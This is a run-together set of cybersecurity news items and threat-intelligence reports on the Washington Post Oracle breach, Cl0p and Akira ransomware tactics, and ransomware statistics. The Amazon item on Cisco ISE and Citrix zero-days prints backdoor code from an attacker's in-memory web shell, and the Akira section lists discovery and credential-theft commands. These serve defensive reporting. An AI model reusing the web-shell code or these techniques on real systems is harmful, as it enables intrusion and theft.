The Washington Post data breach timeline was detailed in a letter from a law firm representing the newspaper to Maine Attorney General Aaron Frey. The letter states that on September 29, The Post “was contacted by a bad actor who claimed to have gained access to its Oracle E-Business Suite applications.” The Post letter said the company subsequently launched an investigation of its Oracle application environment with the help of experts. “During the investigation, Oracle announced that it had identified a previously unknown and widespread vulnerability in its E-Business Suite software that permitted unauthorized actors to access many Oracle customers’ E-Business Suite applications,” The Post’s letter states. “The Post’s investigation confirmed that it was impacted by this exploit and determined that, between July 10, 2025, and August 22, 2025, certain data was accessed and acquired without authorization.” On October 27, 2025, The Post “confirmed that certain personal information belonging to current and former employees and contractors was affected by this incident. The affected information varies by individual but may include individuals’ names, bank account numbers and associated routing numbers, Social Security numbers, and/or tax ID numbers.” On November 12, The Post said it notified 31 Maine residents of the incident, but the total number of affected employees and contractors is believed to total just under 10,000. The Post said it has offered complimentary identity protection services through IDX to individuals whose Social Security numbers or tax ID numbers were exposed in the breach.

CL0P Oracle Victims Number More Than 40

While only four victims have confirmed they were hit in the Oracle cyberattack campaign, the Cl0p ransomware group has claimed roughly 45 victims to date from the campaign on its dark web data leak site. Alleged victims claimed by CL0P have included major electronics companies, energy and utility organizations, technology companies, manufacturers, medical technology companies, healthcare providers, major colleges and universities, insurers, security companies, banks, construction and engineering firms, mining companies and communications companies, among other industries and sectors. CL0P has tended to cluster victims in campaigns targeting specific vulnerabilities throughout its six-year-history, including 267 claimed victims in February 2025 that drove ransomware attacks to record highs that month.

A new study shows LLMs introduce more vulnerabilities with each code iteration, highlighting critical risks for CISOs and the need for skilled human oversight.

The post Security Degradation in AI-Generated Code: A Threat Vector CISOs Can’t Ignore appeared first on Security Boulevard.

Overview On November 12, NSFOCUS CERT detected that Microsoft released the November Security Update patch, which fixed 63 security issues involving widely used products such as Windows, Microsoft Office, Microsoft SQL Server, Azure, and Microsoft Visual Studio, including privilege escalation, high-risk vulnerability types such as remote code execution. Among the vulnerabilities fixed by Microsoft’s monthly […]

The post Microsoft’s November Security Update of High-Risk Vulnerability Notice for Multiple Products appeared first on NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks..

The post Microsoft’s November Security Update of High-Risk Vulnerability Notice for Multiple Products appeared first on Security Boulevard.

The Akira ransomware group poses an “imminent threat to critical infrastructure,” the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned today. CISA joined with the FBI, other U.S. agencies and international counterparts to issue a lengthy updated advisory on the ransomware group, adding many new Akira tactics, techniques and procedures (TTPs), indicators of compromise (IoCs), and vulnerabilities exploited by the group. Akira is consistently one of the most active ransomware groups, so the update from CISA and other agencies is significant. As of late September, Akira has netted about $244.17 million in ransom payments, CISA said. The Akira ransomware group information was sourced from “FBI investigations and trusted third-party reporting,” the agency said. In a busy two days for the agency, CISA also added three vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog (CVE-2025-9242, a WatchGuard Firebox Out-of-Bounds Write vulnerability, CVE-2025-12480, a Gladinet Triofox Improper Access Control vulnerability, and CVE-2025-62215, a Microsoft Windows Race Condition vulnerability), and reissued orders to federal agencies to patch Cisco vulnerabilities CVE-2025-20333 and CVE-2025-20362.

Akira Ransomware Group Targets Vulnerabilities for Initial Access

The CISA Akira advisory notes that in a June 2025 incident, Akira encrypted Nutanix Acropolis Hypervisor (AHV) virtual machine (VM) disk files for the first time, expanding the ransomware group’s abilities beyond VMware ESXi and Hyper-V by abusing CVE-2024-40766, a SonicWall vulnerability. The updated advisory adds six new vulnerabilities exploited by Akira threat actors for initial access, including:

• CVE-2020-3580, a cross-site scripting (XSS) vulnerability in Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD)
• CVE-2023-28252, a Windows Common Log File System Driver Elevation of Privilege vulnerability
• CVE-2024-37085, a VMware ESXi authentication bypass vulnerability
• CVE-2023-27532, a Veeam Missing Authentication for Critical Function vulnerability
• CVE-2024-40711, a Veeam Deserialization of Untrusted Data vulnerability
• CVE-2024-40766, a SonicWall Improper Access Control vulnerability

“Akira threat actors gain access to VPN products, such as SonicWall, by stealing login credentials or exploiting vulnerabilities like CVE-2024-40766,” the CISA advisory said. In some cases, they gain initial access with compromised VPN credentials, possibly by using initial access brokers or brute-forcing VPN endpoints. The group also uses password spraying techniques and tools such as SharpDomainSpray to gain access to account credentials. Akira threat actors have also gained initial access through the Secure Shell (SSH) protocol by exploiting a router’s IP address. “After tunneling through a targeted router, Akira threat actors exploit publicly available vulnerabilities, such as those found in the Veeam Backup and Replication component of unpatched Veeam backup servers,” the advisory said.

Akira’s Latest Discovery, Persistence and Evasion Tactics

Visual Basic (VB) scripts are frequently used by the group to execute malicious commands, and nltest /dclist: and nltest /DOMAIN_TRUSTS are used for network and domain discovery. Akira threat actors abuse remote access tools such as AnyDesk and LogMeIn for persistence and to “blend in with administrator activity,” and Impacket is used to execute the remote command wmiexec.py and obtain an interactive shell. Akira threat actors also uninstall endpoint detection and response (EDR) systems to evade detection. In one incident, Akira threat actors bypassed Virtual Machine Disk (VMDK) file protection by powering down the domain controller’s VM and copying the VMDK files to a newly created VM, CISA said. “This sequence of actions enabled them to extract the NTDS.dit file and the SYSTEM hive, ultimately compromising a highly privileged domain administrator’s account,” the advisory said. Veeam.Backup.MountService.exe has also been used for privilege escalation (CVE-2024-40711), and AnyDesk, LogMeIn, RDP, SSH and MobaXterm have been used for lateral movement. Akira actors have used tunneling utilities such as Ngrok for command and control (C2) communications, initiating encrypted sessions that bypass perimeter monitoring. PowerShell and Windows Management Instrumentation Command-line (WMIC) have also been used to disable services and execute malicious scripts. Akira threat actors have been able to exfiltrate data in just over two hours from initial access, CISA said. The new Akira_v2 variant appends encrypted files with an .akira or .powerranges extension, or with .akiranew or .aki. A ransom note named fn.txt or akira_readme.txt appears in both the root directory (C:) and each user’s home directory (C:\Users). CISA recommended a number of security best practices for combatting the Akira ransomware threat, including prioritizing remediating known exploited vulnerabilities, enforcing phishing-resistant multifactor authentication (MFA), and maintaining regular, tested offline backups of critical data.

Ransomware attacks soared 30% in October to the second-highest total on record, Cyble reported today. The 623 ransomware attacks recorded in October were second only to February 2025’s record attacks, when a CL0P MFT campaign drove the total number of ransomware attacks to 854. October was the sixth consecutive monthly increase in ransomware attacks, Cyble noted in a blog post. Qilin once again was the most active ransomware group, for the sixth time in the seven months since the decline of RansomHub. Qilin’s 210 claimed victims were three times greater than second-place Akira (chart below). Just behind Akira was Sinobi with 69 victims, a remarkable rise for a group that first emerged in July. [caption id="attachment_106750" align="aligncenter" width="624"] Top ransomware groups October 2025 (Cyble)[/caption] Construction, Professional Services, Healthcare, Manufacturing, IT and Energy/Utilities were the most targeted sectors (chart below). [caption id="attachment_106751" align="aligncenter" width="624"] Ransomware attacks by industry October 2025 (Cyble)[/caption] Cyble noted that 31 incidents in October may have affected critical infrastructure, and another 26 incidents had possible supply chain implications. The U.S. once again was the most attacked country, its 361 attacks 10 times greater than second-place Canada (chart below). [caption id="attachment_106753" align="aligncenter" width="624"] Ransomware attacks by country October 2025 (Cyble)[/caption] “Of concern is the emergence of Australia as a top five target, as the country’s rich resources and high per-capita GDP have made the country a rich target for threat actors,” Cyble noted. Ransomware attacks are up 50% so far this year, with 5,194 ransomware attacks through October 31, Cyble said, “as new leaders like Qilin, Sinobi and The Gentlemen have more than made up for the decline of former leaders such as LockBit and RansomHub.”

Vulnerabilities Exploited by Ransomware Groups

Critical IT vulnerabilities and unpatched internet-facing assets have fueled a rise in both ransomware and supply chain attacks this year, Cyble said. Vulnerabilities targeted in October included:

• CVE-2025-61882 in Oracle E-Business Suite – targeted by Cl0p
• CVE-2025-10035 in GoAnywhere MFT – exploited by Medusa
• CVE-2021-43226 a Microsoft Windows Privilege Escalation vulnerability – Exploited by unknown ransomware groups, according to a CISA advisory
• CVE-2025-6264 in Velociraptor – targeted by Warlock ransomware operators
• CVE‑2024‑1086 in the Linux kernel’s netfilter :nf_tables module – Exploited by unknown ransomware groups, according to a CISA advisory

Ransomware Attacks and Key Developments

Below were some of the most important ransomware developments in October, according to Cyble. Ransomware operators are “increasingly hijacking or silently installing legitimate remote access tools” such as AnyDesk, RustDesk, Splashtop, and TightVNC after credential compromise to gain persistent access, control, antivirus neutralization and ransomware delivery. Recent BlackSuit campaigns used Vishing to steal VPN credentials for initial access and DCSync on a domain controller for high-privilege access, and used AnyDesk and a custom RAT for persistence. “Other measures included wiping forensic traces with CCleaner, and using Ansible to deploy BlackSuit ransomware across ESXi hosts, encrypting hundreds of VMs and causing major operational disruption,” Cyble said. Qilin affiliates deployed a Linux-based ransomware binary on Windows machines by abusing remote-management tools like WinSCP, Splashtop, AnyDesk, and ScreenConnect, and leveraging BYOVD (Bring Your Own Vulnerable Driver) attacks, among other tools and tactics. Trigona ransomware operators brute-forced exposed MS-SQL servers and embedded malware inside database tables and exporting it to disk to install payloads. DragonForce posted on the RAMP cybercrime forum that it is opening its partner program to the public, offering services like professional file analysis/audit, hash decryption, call support, and free victim storage. Registration requires a $500 non-refundable fee. Affiliates were warned to follow the group’s rules “or face account blocking or free decryptor distribution.” Zeta88 — the alleged operator of The Gentlemen ransomware — announced updates to their Windows, Linux and ESXi lockers, including a silent mode for Windows that encrypts without renaming files and preserves timestamps, and self-spread capabilities across networks and domains. The release also introduced multiple encryption-speed modes, Windows operating modes, and a universal decryptor. The full Cyble blog also included recommended best practices and recent high-confidence Qilin indicators of compromise (IoCs).

Amazon’s threat intelligence division has revealed a cyber-espionage campaign involving an advanced persistent threat (APT) group exploiting previously undisclosed zero-day vulnerabilities in systems from Cisco and Citrix. The investigation showed that the attackers specifically targeted critical identity and network access control infrastructure; components of enterprises rely on managing authentication and enforcing security policies across their networks.  The initial discovery came from Amazon’s MadPot honeypot service, which detected exploitation attempts of the Citrix “Bleed Two” vulnerability, now tracked as CVE-2025-5777, before it had been made public. This early detection confirmed that the APT had been using the flaw as a zero-day vulnerability.  Further analysis linked the same threat actor to another zero-day vulnerability within Cisco Identity Service Engine (ISE). Amazon shared details of a suspicious payload with Cisco, which led to the identification of a flaw in the deserialization logic of an undocumented Cisco ISE endpoint.   The vulnerability, now designated CVE-2025-20337, allowed pre-authentication remote code execution, granting attackers administrator-level access to affected systems. What raised additional alarm was that this exploitation occurred before Cisco had assigned a CVE number or released patches.

Deployment of a Custom Web Shell 

Following the successful compromise of targeted systems, the threat actor deployed a custom-built web shell disguised as a legitimate Cisco ISE component called IdentityAuditAction. Unlike typical off-the-shelf malware, this backdoor was tailored specifically for Cisco ISE environments.  Amazon’s investigation revealed that the web shell operated entirely in-memory, leaving minimal traces for forensic analysis. It used Java reflection to inject itself into active threads, registered as an HTTP listener on the Tomcat server to intercept all HTTP requests, and encrypted its communication with DES encryption using non-standard Base64 encoding. Accessing the shell required knowledge of specific HTTP headers, further obscuring its presence.  The following snippet from the deserialization routine demonstrates the actor’s authentication mechanism for accessing the backdoor: 

if (matcher.find()) {    requestBody = matcher.group(1).replace("*", "a").replace("$", "l");    Cipher encodeCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");    decodeCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");    byte[] key = "d384922c".getBytes();    encodeCipher.init(1, new SecretKeySpec(key, "DES"));    decodeCipher.init(2, new SecretKeySpec(key, "DES"));    byte[] data = Base64.getDecoder().decode(requestBody);    data = decodeCipher.doFinal(data);    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();    if (proxyClass == null) {        proxyClass = this.defineClass(data);    } else {        Object f = proxyClass.newInstance();        f.equals(arrOut);        f.equals(request);        f.equals(data);        f.toString();    } }  

Defensive Measures for CVE-2025-20337 and CVE-2025-5777 

The simultaneous exploitation of CVE-2025-20337 and CVE-2025-5777 demonstrates the growing trend of APTs focusing on identity and access control infrastructure as high-value targets. According to Amazon, the attacks were indiscriminate and internet-facing, meaning any unpatched or exposed systems were at risk during the campaign.  The “patch-gap” exploitation, attacking systems in the window before vendors can issue fixes, highlights a persistent challenge in enterprise cybersecurity. Such tactics are commonly used by well-funded threat groups that possess advanced research capabilities or access to undisclosed vulnerability data.  Amazon emphasized that even well-maintained systems can fall victim to pre-authentication zero-days, denoting the need for defense-in-depth strategies. Security teams are advised to: 

• Restrict access to privileged security appliance endpoints like Cisco ISE and Citrix management portals through network segmentation and firewalls. 
• Closely monitor for anomalous activity, such as unrecognized HTTP listeners, unusual in-memory processes, or encryption anomalies. 
• Stay current with vendor advisories and threat intelligence feeds regarding emerging zero-day vulnerabilities. 
• Minimize public internet exposure of critical identity and network control systems, routing access through VPNs or isolated management interfaces. 

Conclusion 

Amazon’s findings reveal how today’s threat actors are targeting identity and access systems as key entry points. By exploiting CVE-2025-5777 in Citrix and CVE-2025-20337 in Cisco ISE, attackers demonstrated both precision and intent.  Cyble helps enterprises stay ahead of such threats with its advanced Vulnerability Management platform. By monitoring emerging zero-days, prioritizing patches by risk, and offering deep insights into active exploits, Cyble empowers security teams to act before attackers do.  Schedule a demo to discover how its AI-driven intelligence can strengthen your defense against modern cyber threats.